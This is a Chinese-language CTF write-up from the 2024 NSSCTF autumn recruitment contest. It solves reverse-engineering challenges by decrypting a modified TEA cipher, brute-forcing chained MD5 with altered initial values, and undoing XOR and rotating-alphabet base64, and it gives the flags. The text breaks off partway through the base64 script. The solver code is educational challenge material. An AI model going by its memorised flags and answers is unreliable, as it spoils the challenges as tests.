2024年NSSCTF秋季招新赛REVERSE、PWN和CRYPTO部分WP
2024-11-01 13:17:36

REVERSE

NSS茶馆!

IDA打开文件,发现是对输入的内容进行了tea加密

image-20241014092842702

dword_CEE980是输入的内容,unk_CEE000是加密的密钥,加密结束后和dword_CEE010进行比较,相同则为正确的FLAG

加密密钥image-20241014093135530

加密函数:

image-20241014093302529

发现是修改了加密轮次和delta

编写解密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>

//解密函数
void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum = 0x0239e794, i;
uint32_t delta = 1131796;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 33; i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
v[0] = v0; v[1] = v1;
}
int main()
{
char ida_chars[] =
{
0x65, 0xD2, 0x26, 0x3A, 0xB6, 0xA0, 0xD9, 0x81, 0x2A, 0x00,
0x5E, 0x0E, 0xE5, 0xEF, 0x07, 0x39, 0x57, 0xBC, 0xB6, 0x71,
0xA2, 0x0D, 0xAC, 0xE0
};

uint32_t key[] = { 0xB,0x16,0x21,0x2c };
for (int i = 0; i < 6; i += 2) {
decrypt((uint32_t*)&ida_chars[i * 4], key);
}
printf("解密后:%s\n", ida_chars);

}

输出:

image-20241014093442826

这里需要每4组字符进行一下逆序才能得到最终的FLAG:NSSCTF{tea_is_so_easy!!}

md5也能爆破?

IDA打开查看

image-20241014093759141

经调试发现程序的核心代码为第20行,跟进

image-20241014093949957

sub_651596函数实际就是md5的加密函数,传进去的a1+8用来存储md5计算的结果,a1+24就是对应的明文

举个例子,如果输入14851234那么第一轮传进去的就是用于md5加密的原始幻数和1485

image-20241014094741460

结束sub_8C1596函数后出来的就是1485的md5值7fb8ceb3bd59c7956b1df66729296a4c

image-20241014094908728

然后第二轮进去的值就是第一轮出来的md5作为幻数和第二组输入的1234

image-20241014095050777

一共10轮得到10个md5值,最后与byte_8D5050进行匹配

1
2
3
4
5
6
7
8
9
10
7fb8ceb3bd59c7956b1df66729296a4c
f182395ed4eaa34bf53fa0507e124c28
1c2aaf4995574c11dbd2c79024d7df08
d5945e772e2715ae12ff75818fb0477e
c3c3dab8e8f8eda9c62ae676cff5b6b9
75cd9e91d1f4ad1bf88a964f69078d93
7bc0d87c4ee78bafa9fea6aba4215b89
c68bfbb9f793b6eeee2b985ffce1e634
344d233437cc2ff5f6d9f363ca54d81b
df8b095635311f27e22110085eaff244

第一轮7fb8ceb3bd59c7956b1df66729296a4c利用cmd5可直接解出为1485,第二轮由于幻数变了所以无法直接获取

解决办法就是自己修改md5的幻数然后进行四位数字的爆破

一开始是打算用python实现,找了个python的md5加密代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
import binascii
import sys
import os.path

SV = [0xd76aa478, 0xe8c7b756, 0x242070db, 0xc1bdceee, 0xf57c0faf,
0x4787c62a, 0xa8304613, 0xfd469501, 0x698098d8, 0x8b44f7af,
0xffff5bb1, 0x895cd7be, 0x6b901122, 0xfd987193, 0xa679438e,
0x49b40821, 0xf61e2562, 0xc040b340, 0x265e5a51, 0xe9b6c7aa,
0xd62f105d, 0x2441453, 0xd8a1e681, 0xe7d3fbc8, 0x21e1cde6,
0xc33707d6, 0xf4d50d87, 0x455a14ed, 0xa9e3e905, 0xfcefa3f8,
0x676f02d9, 0x8d2a4c8a, 0xfffa3942, 0x8771f681, 0x6d9d6122,
0xfde5380c, 0xa4beea44, 0x4bdecfa9, 0xf6bb4b60, 0xbebfbc70,
0x289b7ec6, 0xeaa127fa, 0xd4ef3085, 0x4881d05, 0xd9d4d039,
0xe6db99e5, 0x1fa27cf8, 0xc4ac5665, 0xf4292244, 0x432aff97,
0xab9423a7, 0xfc93a039, 0x655b59c3, 0x8f0ccc92, 0xffeff47d,
0x85845dd1, 0x6fa87e4f, 0xfe2ce6e0, 0xa3014314, 0x4e0811a1,
0xf7537e82, 0xbd3af235, 0x2ad7d2bb, 0xeb86d391]


# 根据ascil编码把字符转成对应的二进制
def binvalue(val, bitsize):
binval = bin(val)[2:] if isinstance(val, int) else bin(ord(val))[2:]
if len(binval) > bitsize:
raise ("binary value larger than the expected size")
while len(binval) < bitsize:
binval = "0" + binval
return binval


def string_to_bit_array(text):
array = list()
for char in text:
binval = binvalue(char, 8)
array.extend([int(x) for x in list(binval)])
return array


# 循环左移
def leftCircularShift(k, bits):
bits = bits % 32
k = k % (2 ** 32)
upper = (k << bits) % (2 ** 32)
result = upper | (k >> (32 - (bits)))
return (result)


# 分块
def blockDivide(block, chunks):
result = []
size = len(block) // chunks
for i in range(0, chunks):
result.append(int.from_bytes(block[i * size:(i + 1) * size], byteorder="little"))
return result


# F函数作用于“比特位”上
# if x then y else z
def F(X, Y, Z):
return ((X & Y) | ((~X) & Z))


# if z then x else y
def G(X, Y, Z):
return ((X & Z) | (Y & (~Z)))


# if X = Y then Z else ~Z
def H(X, Y, Z):
return (X ^ Y ^ Z)


def I(X, Y, Z):
return (Y ^ (X | (~Z)))


# 四个F函数
def FF(a, b, c, d, M, s, t):
result = b + leftCircularShift((a + F(b, c, d) + M + t), s)
return (result)


def GG(a, b, c, d, M, s, t):
result = b + leftCircularShift((a + G(b, c, d) + M + t), s)
return (result)


def HH(a, b, c, d, M, s, t):
result = b + leftCircularShift((a + H(b, c, d) + M + t), s)
return (result)


def II(a, b, c, d, M, s, t):
result = b + leftCircularShift((a + I(b, c, d) + M + t), s)
return (result)


# 数据转换
def fmt8(num):
bighex = "{0:08x}".format(num)
binver = binascii.unhexlify(bighex)
result = "{0:08x}".format(int.from_bytes(binver, byteorder='little'))
return (result)


# 计算比特长度
def bitlen(bitstring):
return len(bitstring) * 8


def md5sum(msg):
# 计算比特长度,如果内容过长,64个比特放不下。就取低64bit。
msgLen = bitlen(msg) % (2 ** 64)
# 先填充一个0x80,其实是先填充一个1,后面跟对应个数的0,因为一个明文的编码至少需要8比特,所以直接填充 0b10000000即0x80
msg = msg + b'\x80' # 0x80 = 1000 0000
# 似乎各种编码,即使是一个字母,都至少得1个字节,即8bit才能表示,所以不会出现原文55bit,pad1就满足的情况?可是不对呀,要是二进制文件呢?
# 填充0到满足要求为止。
zeroPad = (448 - (msgLen + 8) % 512) % 512
zeroPad //= 8
msg = msg + b'\x00' * zeroPad + msgLen.to_bytes(8, byteorder='little')
# 计算循环轮数,512个为一轮
msgLen = bitlen(msg)
iterations = msgLen // 512
# 初始化变量
# 算法魔改的第一个点,也是最明显的点
A = 0x67452301
B = 0xefcdab89
C = 0x98badcfe
D = 0x10325476
# MD5的主体就是对abcd进行n次的迭代,所以得有个初始值,可以随便选,也可以用默认的魔数,这个改起来毫无风险,所以大家爱魔改它,甚至改这个都不算魔改。
# main loop
for i in range(0, iterations):
a = A
b = B
c = C
d = D
block = msg[i * 64:(i + 1) * 64]
# 明文的处理,顺便调整了一下端序
M = blockDivide(block, 16)
# Rounds
a = FF(a, b, c, d, M[0], 7, SV[0])
d = FF(d, a, b, c, M[1], 12, SV[1])
c = FF(c, d, a, b, M[2], 17, SV[2])
b = FF(b, c, d, a, M[3], 22, SV[3])
a = FF(a, b, c, d, M[4], 7, SV[4])
d = FF(d, a, b, c, M[5], 12, SV[5])
c = FF(c, d, a, b, M[6], 17, SV[6])
b = FF(b, c, d, a, M[7], 22, SV[7])
a = FF(a, b, c, d, M[8], 7, SV[8])
d = FF(d, a, b, c, M[9], 12, SV[9])
c = FF(c, d, a, b, M[10], 17, SV[10])
b = FF(b, c, d, a, M[11], 22, SV[11])
a = FF(a, b, c, d, M[12], 7, SV[12])
d = FF(d, a, b, c, M[13], 12, SV[13])
c = FF(c, d, a, b, M[14], 17, SV[14])
b = FF(b, c, d, a, M[15], 22, SV[15])

a = GG(a, b, c, d, M[1], 5, SV[16])
d = GG(d, a, b, c, M[6], 9, SV[17])
c = GG(c, d, a, b, M[11], 14, SV[18])
b = GG(b, c, d, a, M[0], 20, SV[19])
a = GG(a, b, c, d, M[5], 5, SV[20])
d = GG(d, a, b, c, M[10], 9, SV[21])
c = GG(c, d, a, b, M[15], 14, SV[22])
b = GG(b, c, d, a, M[4], 20, SV[23])
a = GG(a, b, c, d, M[9], 5, SV[24])
d = GG(d, a, b, c, M[14], 9, SV[25])
c = GG(c, d, a, b, M[3], 14, SV[26])
b = GG(b, c, d, a, M[8], 20, SV[27])
a = GG(a, b, c, d, M[13], 5, SV[28])
d = GG(d, a, b, c, M[2], 9, SV[29])
c = GG(c, d, a, b, M[7], 14, SV[30])
b = GG(b, c, d, a, M[12], 20, SV[31])

a = HH(a, b, c, d, M[5], 4, SV[32])
d = HH(d, a, b, c, M[8], 11, SV[33])
c = HH(c, d, a, b, M[11], 16, SV[34])
b = HH(b, c, d, a, M[14], 23, SV[35])
a = HH(a, b, c, d, M[1], 4, SV[36])
d = HH(d, a, b, c, M[4], 11, SV[37])
c = HH(c, d, a, b, M[7], 16, SV[38])
b = HH(b, c, d, a, M[10], 23, SV[39])
a = HH(a, b, c, d, M[13], 4, SV[40])
d = HH(d, a, b, c, M[0], 11, SV[41])
c = HH(c, d, a, b, M[3], 16, SV[42])
b = HH(b, c, d, a, M[6], 23, SV[43])
a = HH(a, b, c, d, M[9], 4, SV[44])
d = HH(d, a, b, c, M[12], 11, SV[45])
c = HH(c, d, a, b, M[15], 16, SV[46])
b = HH(b, c, d, a, M[2], 23, SV[47])

a = II(a, b, c, d, M[0], 6, SV[48])
d = II(d, a, b, c, M[7], 10, SV[49])
c = II(c, d, a, b, M[14], 15, SV[50])
b = II(b, c, d, a, M[5], 21, SV[51])
a = II(a, b, c, d, M[12], 6, SV[52])
d = II(d, a, b, c, M[3], 10, SV[53])
c = II(c, d, a, b, M[10], 15, SV[54])
b = II(b, c, d, a, M[1], 21, SV[55])
a = II(a, b, c, d, M[8], 6, SV[56])
d = II(d, a, b, c, M[15], 10, SV[57])
c = II(c, d, a, b, M[6], 15, SV[58])
b = II(b, c, d, a, M[13], 21, SV[59])
a = II(a, b, c, d, M[4], 6, SV[60])
d = II(d, a, b, c, M[11], 10, SV[61])
c = II(c, d, a, b, M[2], 15, SV[62])
b = II(b, c, d, a, M[9], 21, SV[63])
A = (A + a) % (2 ** 32)
B = (B + b) % (2 ** 32)
C = (C + c) % (2 ** 32)
D = (D + d) % (2 ** 32)
result = fmt8(A) + fmt8(B) + fmt8(C) + fmt8(D)
return result


if __name__ == "__main__":
data = b"1485"
print("plainText: ", data)
print("result: ", md5sum(data))


通过修改幻数发现计算结果和调试出来的结果不一样,遂改用c语言直接复制IDA中的伪代码进行加密

思路是用伪代码中加密逻辑进行加密,每一轮控制输入的幻数,爆破明文数字

这里以爆破最后一轮也就是第10组数字的代码为例(代码写得比较小学生,看个乐子):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
#include"atlstr.h"
#include <stdio.h>
#include <stdlib.h>
#pragma warning (disable:4996)
unsigned int __cdecl sub_6532E0(int* a1, int a2, unsigned int a3)
{
unsigned int result; // eax
unsigned int i; // [esp+D0h] [ebp-14h]
int v5; // [esp+DCh] [ebp-8h]

v5 = 0;
for (i = 0; ; i += 4)
{
result = i;
if (i >= a3)
break;
*(DWORD*)(a1 + 4 * v5++) = (*(unsigned __int8*)(i + a2 + 3) << 24) | (*(unsigned __int8*)(i + a2 + 2) << 16) | *(unsigned __int16*)(i + a2);
}
return result;
}
unsigned int __cdecl sub_6536F0(int* a1, int a2,int v17)
{
unsigned int result; // eax
int v3=0; // [esp+D0h] [ebp-138h] BYREF
int v4=0x80; // [esp+D4h] [ebp-134h]
int v5=0; // [esp+D8h] [ebp-130h]
int v6=0; // [esp+DCh] [ebp-12Ch]
int v7=0; // [esp+E0h] [ebp-128h]
int v8=0; // [esp+E4h] [ebp-124h]
int v9=0; // [esp+E8h] [ebp-120h]
int v10=0; // [esp+ECh] [ebp-11Ch]
int v11=0; // [esp+F0h] [ebp-118h]
int v12=0; // [esp+F4h] [ebp-114h]
int v13=0; // [esp+F8h] [ebp-110h]
int v14=0; // [esp+FCh] [ebp-10Ch]
int v15=0; // [esp+100h] [ebp-108h]
int v16=0; // [esp+104h] [ebp-104h]

int v18=0; // [esp+10Ch] [ebp-FCh]
unsigned int v19; // [esp+1D8h] [ebp-30h]
unsigned int v20; // [esp+1E4h] [ebp-24h]
unsigned int v21; // [esp+1F0h] [ebp-18h]
unsigned int v22; // [esp+1FCh] [ebp-Ch]

v22 = *a1;
v21 = a1[1];
v20 = a1[2];
v19 = a1[3];
sub_6532E0(&v3, a2, 64);
a1 = (int*)(a2 - 0x10);
v22 = v22 + v3 + (v19 & ~v21 | v20 & v21) - 680876936;
v22 = (v22 >> 25) | (v22 << 7);
v22 += v21;
v19 = v19 + v4 + (v20 & ~v22 | v21 & v22) - 389564586;
v19 = (v19 >> 20) | (v19 << 12);
v19 += v22;
v20 += v5 + (v21 & ~v19 | v22 & v19) + 606105819;
v20 = (v20 >> 15) | (v20 << 17);
v20 += v19;
v21 = v21 + v6 + (v22 & ~v20 | v19 & v20) - 1044525330;
v21 = (v21 >> 10) | (v21 << 22);
v21 += v20;
v22 = v22 + v7 + (v19 & ~v21 | v20 & v21) - 176418897;
v22 = (v22 >> 25) | (v22 << 7);
v22 += v21;
v19 += v8 + (v20 & ~v22 | v21 & v22) + 1200080426;
v19 = (v19 >> 20) | (v19 << 12);
v19 += v22;
v20 = v20 + v9 + (v21 & ~v19 | v22 & v19) - 1473231341;
v20 = (v20 >> 15) | (v20 << 17);
v20 += v19;
v21 = v21 + v10 + (v22 & ~v20 | v19 & v20) - 45705983;
v21 = (v21 >> 10) | (v21 << 22);
v21 += v20;
v22 += v11 + (v19 & ~v21 | v20 & v21) + 1770035416;
v22 = (v22 >> 25) | (v22 << 7);
v22 += v21;
v19 = v19 + v12 + (v20 & ~v22 | v21 & v22) - 1958414417;
v19 = (v19 >> 20) | (v19 << 12);
v19 += v22;
v20 = v20 + v13 + (v21 & ~v19 | v22 & v19) - 42063;
v20 = (v20 >> 15) | (v20 << 17);
v20 += v19;
v21 = v21 + v14 + (v22 & ~v20 | v19 & v20) - 1990404162;
v21 = (v21 >> 10) | (v21 << 22);
v21 += v20;
v22 += v15 + (v19 & ~v21 | v20 & v21) + 1804603682;
v22 = (v22 >> 25) | (v22 << 7);
v22 += v21;
v19 = v19 + v16 + (v20 & ~v22 | v21 & v22) - 40341101;
v19 = (v19 >> 20) | (v19 << 12);
v19 += v22;
v20 = v20 + v17 + (v21 & ~v19 | v22 & v19) - 1502002290;
v20 = (v20 >> 15) | (v20 << 17);
v20 += v19;
v21 += v18 + (v22 & ~v20 | v19 & v20) + 1236535329;
v21 = (v21 >> 10) | (v21 << 22);
v21 += v20;
v22 = v22 + v4 + (v20 & ~v19 | v19 & v21) - 165796510;
v22 = (v22 >> 27) | (32 * v22);
v22 += v21;
v19 = v19 + v9 + (v21 & ~v20 | v20 & v22) - 1069501632;
v19 = (v19 >> 23) | (v19 << 9);
v19 += v22;
v20 += v14 + (v22 & ~v21 | v21 & v19) + 643717713;
v20 = (v20 >> 18) | (v20 << 14);
v20 += v19;
v21 = v21 + v3 + (v19 & ~v22 | v22 & v20) - 373897302;
v21 = (v21 >> 12) | (v21 << 20);
v21 += v20;
v22 = v22 + v8 + (v20 & ~v19 | v19 & v21) - 701558691;
v22 = (v22 >> 27) | (32 * v22);
v22 += v21;
v19 += v13 + (v21 & ~v20 | v20 & v22) + 38016083;
v19 = (v19 >> 23) | (v19 << 9);
v19 += v22;
v20 = v20 + v18 + (v22 & ~v21 | v21 & v19) - 660478335;
v20 = (v20 >> 18) | (v20 << 14);
v20 += v19;
v21 = v21 + v7 + (v19 & ~v22 | v22 & v20) - 405537848;
v21 = (v21 >> 12) | (v21 << 20);
v21 += v20;
v22 += v12 + (v20 & ~v19 | v19 & v21) + 568446438;
v22 = (v22 >> 27) | (32 * v22);
v22 += v21;
v19 = v19 + v17 + (v21 & ~v20 | v20 & v22) - 1019803690;
v19 = (v19 >> 23) | (v19 << 9);
v19 += v22;
v20 = v20 + v6 + (v22 & ~v21 | v21 & v19) - 187363961;
v20 = (v20 >> 18) | (v20 << 14);
v20 += v19;
v21 += v11 + (v19 & ~v22 | v22 & v20) + 1163531501;
v21 = (v21 >> 12) | (v21 << 20);
v21 += v20;
v22 = v22 + v16 + (v20 & ~v19 | v19 & v21) - 1444681467;
v22 = (v22 >> 27) | (32 * v22);
v22 += v21;
v19 = v19 + v5 + (v21 & ~v20 | v20 & v22) - 51403784;
v19 = (v19 >> 23) | (v19 << 9);
v19 += v22;
v20 += v10 + (v22 & ~v21 | v21 & v19) + 1735328473;
v20 = (v20 >> 18) | (v20 << 14);
v20 += v19;
v21 = v21 + v15 + (v19 & ~v22 | v22 & v20) - 1926607734;
v21 = (v21 >> 12) | (v21 << 20);
v21 += v20;
v22 = v22 + v8 + (v19 ^ v20 ^ v21) - 378558;
v22 = (v22 >> 28) | (16 * v22);
v22 += v21;
v19 = v19 + v11 + (v20 ^ v21 ^ v22) - 2022574463;
v19 = (v19 >> 21) | (v19 << 11);
v19 += v22;
v20 += v14 + (v21 ^ v22 ^ v19) + 1839030562;
v20 = HIWORD(v20) | (v20 << 16);
v20 += v19;
v21 = v21 + v17 + (v22 ^ v19 ^ v20) - 35309556;
v21 = (v21 >> 9) | (v21 << 23);
v21 += v20;
v22 = v22 + v4 + (v19 ^ v20 ^ v21) - 1530992060;
v22 = (v22 >> 28) | (16 * v22);
v22 += v21;
v19 += v7 + (v20 ^ v21 ^ v22) + 1272893353;
v19 = (v19 >> 21) | (v19 << 11);
v19 += v22;
v20 = v20 + v10 + (v21 ^ v22 ^ v19) - 155497632;
v20 = HIWORD(v20) | (v20 << 16);
v20 += v19;
v21 = v21 + v13 + (v22 ^ v19 ^ v20) - 1094730640;
v21 = (v21 >> 9) | (v21 << 23);
v21 += v20;
v22 += v16 + (v19 ^ v20 ^ v21) + 681279174;
v22 = (v22 >> 28) | (16 * v22);
v22 += v21;
v19 = v19 + v3 + (v20 ^ v21 ^ v22) - 358537222;
v19 = (v19 >> 21) | (v19 << 11);
v19 += v22;
v20 = v20 + v6 + (v21 ^ v22 ^ v19) - 722521979;
v20 = HIWORD(v20) | (v20 << 16);
v20 += v19;
v21 += v9 + (v22 ^ v19 ^ v20) + 76029189;
v21 = (v21 >> 9) | (v21 << 23);
v21 += v20;
v22 = v22 + v12 + (v19 ^ v20 ^ v21) - 640364487;
v22 = (v22 >> 28) | (16 * v22);
v22 += v21;
v19 = v19 + v15 + (v20 ^ v21 ^ v22) - 421815835;
v19 = (v19 >> 21) | (v19 << 11);
v19 += v22;
v20 += v18 + (v21 ^ v22 ^ v19) + 530742520;
v20 = HIWORD(v20) | (v20 << 16);
v20 += v19;
v21 = v21 + v5 + (v22 ^ v19 ^ v20) - 995338651;
v21 = (v21 >> 9) | (v21 << 23);
v21 += v20;
v22 = v22 + v3 + (v20 ^ (v21 | ~v19)) - 198630844;
v22 = (v22 >> 26) | (v22 << 6);
v22 += v21;
v19 += v10 + (v21 ^ (v22 | ~v20)) + 1126891415;
v19 = (v19 >> 22) | (v19 << 10);
v19 += v22;
v20 = v20 + v17 + (v22 ^ (v19 | ~v21)) - 1416354905;
v20 = (v20 >> 17) | (v20 << 15);
v20 += v19;
v21 = v21 + v8 + (v19 ^ (v20 | ~v22)) - 57434055;
v21 = (v21 >> 11) | (v21 << 21);
v21 += v20;
v22 += v15 + (v20 ^ (v21 | ~v19)) + 1700485571;
v22 = (v22 >> 26) | (v22 << 6);
v22 += v21;
v19 = v19 + v6 + (v21 ^ (v22 | ~v20)) - 1894986606;
v19 = (v19 >> 22) | (v19 << 10);
v19 += v22;
v20 = v20 + v13 + (v22 ^ (v19 | ~v21)) - 1051523;
v20 = (v20 >> 17) | (v20 << 15);
v20 += v19;
v21 = v21 + v4 + (v19 ^ (v20 | ~v22)) - 2054922799;
v21 = (v21 >> 11) | (v21 << 21);
v21 += v20;
v22 += v11 + (v20 ^ (v21 | ~v19)) + 1873313359;
v22 = (v22 >> 26) | (v22 << 6);
v22 += v21;
v19 = v19 + v18 + (v21 ^ (v22 | ~v20)) - 30611744;
v19 = (v19 >> 22) | (v19 << 10);
v19 += v22;
v20 = v20 + v9 + (v22 ^ (v19 | ~v21)) - 1560198380;
v20 = (v20 >> 17) | (v20 << 15);
v20 += v19;
v21 += v16 + (v19 ^ (v20 | ~v22)) + 1309151649;
v21 = (v21 >> 11) | (v21 << 21);
v21 += v20;
v22 = v22 + v7 + (v20 ^ (v21 | ~v19)) - 145523070;
v22 = (v22 >> 26) | (v22 << 6);
v22 += v21;
v19 = v19 + v14 + (v21 ^ (v22 | ~v20)) - 1120210379;
v19 = (v19 >> 22) | (v19 << 10);
v19 += v22;
v20 += v5 + (v22 ^ (v19 | ~v21)) + 718787259;
v20 = (v20 >> 17) | (v20 << 15);
v20 += v19;
v21 = v21 + v12 + (v19 ^ (v20 | ~v22)) - 343485551;
v21 = (v21 >> 11) | (v21 << 21);
v21 += v20;
*a1 += v22;
a1[1] += v21;
a1[2] += v20;
result = v19 + a1[3];
a1[3] = result;
return result;
}


int swap_int_bytes(int value) {
int g = value % 10;
int s = value % 100 / 10;
int b = value % 1000 / 100;
int q = value / 1000;
//#0x34333231
return (0x30000000 + g * 0x1000000 + 0x300000 + s * 0x10000 + 0x3000 + b * 0x100 + 0x30 + q);
}
void Back(int* b) {
//*b = 0xb3ceb87f;
//*(b + 1) = 0x95c759bd;
//*(b + 2) = 0x67f61d6b;
//*(b + 3) = 0x4c6a2929;
//*b = 0x67452301;
//*(b + 1) = 0xEFCDAB89;
//*(b + 2) = 0x98BADCFE;
//*(b + 3) = 0x10325476;
//*b = 0x5e3982f1;
//*(b + 1) = 0x4ba3ead4;
//*(b + 3) = 0x284c127e;
//*(b + 2) = 0x50a03ff5;
//* b = 0x49af2a1c;
//*(b + 1) = 0x114c5795;
//*(b + 2) = 0x90c7d2db;
//*(b + 3) = 0x08dfd724;
//* b = 0x775E94D5;
//*(b + 1) = 0xae15272e;
//*(b + 2) = 0x8175FF12;
//*(b + 3) = 0x7E47B08F;
//* b = 0xB8DAC3C3;
//*(b + 1) = 0xa9edf8e8;
//*(b + 2) = 0x76E62AC6;
//*(b + 3) = 0xB9B6F5CF;
//* b = 0x919ECD75;
//*(b + 1) = 0x1badf4d1;
//*(b + 2) = 0x4F968AF8;
//*(b + 3) = 0x938D0769;
//* b = 0x7CD8C07B;
//*(b + 1) = 0xaf8be74e;
//*(b + 2) = 0xABA6FEA9;
//*(b + 3) = 0x895B21A4;
//* b = 0xB9FB8BC6;
//*(b + 1) = 0xeeb693f7;
//*(b + 2) = 0x5F982BEE;
//*(b + 3) = 0x34E6E1FC;
* b = 0x34234D34;
*(b + 1) = 0xf52fcc37;
*(b + 2) = 0x63F3D9F6;
*(b + 3) = 0x1BD854CA;
}

int main() {
int a = 0x67452301;
int* b = &a;
//*(b+1) = 0xEFCDAB89;
//*(b + 2) = 0x98BADCFE;
//*(b + 3) = 0x10325476;
//*(b + 4) = 0x35383431;
//*(b + 5) = 0x0080;
//sub_6536F0(&a, int( & a + 4),0x20);
//初始化幻数
Back(b);
//从0到9999进行爆破
for (int i = 0; i < 10000; i++) {
//处理数字
*(b + 4) = swap_int_bytes(i);
//加密
sub_6536F0(&a, int(&a + 4), 0x1220);
//c3c3dab8
//75cd9e91
//7bc0d87c
//c68bfbb9
//344d2334
//df8b0956
//当等于目标md5值的前8个字符的时候则认为正确
if (a == 0x56098bdf) {
printf("%d\n", i);
break;
}
else {
//不等于则重新初始化幻数
Back(b);
}

}


return 0;
}


输出:

image-20241014095948071

得到最后一轮的数字为4261

最终的flag为NSSCTF{1485059684930231436754585566745634684261}

Reverse_or_Pwn

这个题目运行需要输入flag和key,利用IDA打开发现FLAG只是一个简单异或算法

image-20241014101147327

解密POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
v8 = [0x2E,0x0D,0x1E,0x17,0x03,0x4F,0x2C,0x02,0x61,0x41,0x53,0x57,0x1E,0x21,0x57,0x44]
v7=[0]*16
v7[0] = 122
v7[1] = 101
v7[2] = 119
v7[3] = 100
v7[4] = 92
v7[5] = 38
v7[6] = 95
v7[7] = 93
v7[8] = 19
v7[9] = 36
v7[10] = 32
v7[11] = 50
v7[12] = 108
v7[13] = 87
v7[14] = 50
v7[15] = 123
flag = []
for i in range(16):
flag.append(v7[i] ^ v8[i])
f = "".join(chr(i) for i in flag)
print(f)
#输出:This_is_reserve?

提交发现flag不对!!!

看了下IDA提取的字符串,发现存在另一个函数

image-20241014102000981

这个函数没有被其他函数引用,但是最终输出的内容和FLAG有关所以尝试解密

从字符串特征可以看到是base64加密,但每轮加密都替换了base64的原始字符顺序,解密脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
def base64_encode(input_bytes,BASE64_CHARS):
# 将输入转换为字节数组
input_bytes = bytearray(input_bytes, 'utf-8')

result = []
i = 0
while i < len(input_bytes):
# 取出三个字节
chunk = input_bytes[i:i+3]
i += 3

# 计算当前chunk的长度,并根据长度进行处理
if len(chunk) == 1:
# 前面补两个0
bits = chunk[0] << 16
padding = 2
elif len(chunk) == 2:
# 前面补一个0
bits = (chunk[0] << 16) + (chunk[1] << 8)
padding = 1
else:
# 无填充
bits = (chunk[0] << 16) + (chunk[1] << 8) + chunk[2]
padding = 0

# 将24位数据拆分为4个6位数据
indices = [(bits >> (18 - 6 * x)) & 63 for x in range(4)]

# 转换为Base64字符并加入结果列表
result.extend(BASE64_CHARS[index] for index in indices)
if padding!=0:result = result[:-padding]
# 添加必要的填充字符
result.extend(["="] * padding)

return ''.join(result)

def base64_decode(encoded_str,BASE64_CHARS):
num_padding = encoded_str.count('=')
# 移除所有=字符
encoded_str = encoded_str.rstrip('=')

# 将字符串转换为索引数组
indices = [BASE64_CHARS.index(char) for char in encoded_str]
indices += [0]*num_padding

result = bytearray()
for i in range(0, len(indices), 4):
# 取出四个字符
chunk = indices[i:i+4]

# 合并成24位数据
bits = (chunk[0] << 18) + (chunk[1] << 12) + (chunk[2] << 6) + chunk[3]

# 分割成三个8位数据
bytes_ = [(bits >> (16 - 8 * x)) & 255 for x in range(3)]

# 根据编码字符串的长度决定实际添加多少字节
result.extend(bytes_[0:3 - ((len(encoded_str)+num_padding) % 4)])

return result.decode('utf-8').rstrip('\x00')

base64_chars = [i for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"]
base64_table = [""] * 65
tables = []
def shift_base64_table(a1):
for i in range(64):
result = base64_chars[i]
base64_table[(a1 + i) % 64] = result
for j in range(64):
result = base64_table[j]
base64_chars[j] = result
tables.append(''.join(base64_table))
#这里先走一轮加密是为了获取每轮变换过后的的原始字符
input2 = "a"
for j in range(0,9,2):
shift_base64_table(j)
encoded = base64_encode(input2,base64_table)
input2 = encoded
tmp = encoded
#开始解密
